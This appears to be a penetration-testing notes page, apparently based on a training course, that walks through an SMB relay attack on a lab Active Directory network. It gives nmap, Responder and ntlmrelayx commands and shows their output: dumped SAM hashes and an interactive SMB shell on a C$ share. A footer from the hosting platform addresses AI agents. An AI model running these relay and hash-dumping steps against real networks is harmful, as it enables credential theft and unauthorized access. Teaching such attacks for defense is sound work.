> For the complete documentation index, see [llms.txt](https://csbygb.gitbook.io/pentips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://csbygb.gitbook.io/pentips/windows/attacking-ad/smb-relay-attack.md). # SMB Relay Attacks ## What is SMB Relay ![image](https://user-images.githubusercontent.com/96747355/167957290-5eee0e72-c551-41a6-b4e8-1576692615b9.png) > *Source: TCM Security Academy* ![image](https://user-images.githubusercontent.com/96747355/167957396-3dba4765-9007-4fe3-989c-cefc2422e5e4.png) > *Source: TCM Security Academy* ## Discovering hosts * Possible with [Nessus](https://www.tenable.com/products/nessus) * With [Nmap](https://nmap.org/) `nmap --script=smb2-security-mode.nse -p445 10.0.2.0/24` Example of what we get with this scan: ```bash β”Œβ”€β”€(rootπŸ’€kali)-[/home/kali] └─# nmap --script=smb2-security-mode.nse -p445 10.0.2.0/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 16:36 EST [STRIPPED] Nmap scan report for 10.0.2.4 Host is up (0.00062s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:FC:72:E9 (Oracle VirtualBox virtual NIC) Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required Nmap scan report for 10.0.2.5 Host is up (0.00052s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:7F:90:90 (Oracle VirtualBox virtual NIC) Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required Nmap scan report for 10.0.2.15 Host is up (0.00059s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:AE:C1:68 (Oracle VirtualBox virtual NIC) Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required [STRIPPED] Nmap done: 256 IP addresses (5 hosts up) scanned in 28.67 seconds ``` The domain controller has `enable` and `required`, we wont relay on this machine. ## SMB Relay Attack ### Attack 1st way * In responder config (Responder.conf) we put http and smb on off * Responder command `responder -I eth0 -rdwv` * Launch ntlmrelayx.py (our target ips are in targets.txt) `ntlmrelayx.py -tf targets.txt -smb2support` * We should get som hashes on our kali ```bash [*] Done dumping SAM hashes for host: 10.0.2.4 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:25e61d7e5702c678e3be8711c03b7837::: Jessica Jones:1001:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0::: ``` ### Attack 2nd way * We launch Responder (with http and smb off), we launch ntlmrelayx.py just like befor but with -i to try to get an interactive shell. `ntlmrelayx.py -tf targets.txt -smb2support -i` * It should work and mention that we got a shell ```bash [*] Servers started, waiting for connections [*] SMBD-Thread-3: Received connection from 10.0.2.15, attacking target smb://10.0.2.4 [*] Authenticating against smb://10.0.2.4 as MARVEL\fcastle SUCCEED [*] Started interactive SMB client shell via TCP on 127.0.0.1:11000 [STRIPPED] ``` * We can netcat to get the shell: `nc 127.0.0.1 11000` * We have an smb shell: ```bash └─# nc 127.0.0.1 11000 Type help for list of commands # help open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) # shares ADMIN$ C$ IPC$ Share # use C$ # ls drw-rw-rw- 0 Fri Jan 28 19:29:18 2022 $Recycle.Bin drw-rw-rw- 0 Fri Jan 28 20:21:23 2022 Documents and Settings -rw-rw-rw- 8192 Sat Jan 29 16:14:20 2022 DumpStack.log.tmp -rw-rw-rw- 1543503872 Sat Jan 29 16:14:20 2022 pagefile.sys drw-rw-rw- 0 Fri Jan 28 20:18:41 2022 PerfLogs drw-rw-rw- 0 Fri Jan 28 17:29:12 2022 Program Files drw-rw-rw- 0 Fri Jan 28 20:18:41 2022 Program Files (x86) drw-rw-rw- 0 Fri Jan 28 19:26:15 2022 ProgramData drw-rw-rw- 0 Fri Jan 28 20:21:29 2022 Recovery drw-rw-rw- 0 Fri Jan 28 19:33:38 2022 Share -rw-rw-rw- 268435456 Sat Jan 29 16:14:20 2022 swapfile.sys drw-rw-rw- 0 Fri Jan 28 17:21:44 2022 System Volume Information drw-rw-rw- 0 Fri Jan 28 19:28:21 2022 Users drw-rw-rw- 0 Fri Jan 28 17:23:30 2022 Windows # ``` > *Note: ntlmrelayx.py is really powerfull and has many commands, we could even launch other shells.* ## SMB Relay attack Defenses ![image](https://user-images.githubusercontent.com/96747355/167957563-c1a2d775-3c4a-4aec-94ac-08dc5d0c505d.png) > *Source: TCM Security Academy* --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://csbygb.gitbook.io/pentips/windows/attacking-ad/smb-relay-attack.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.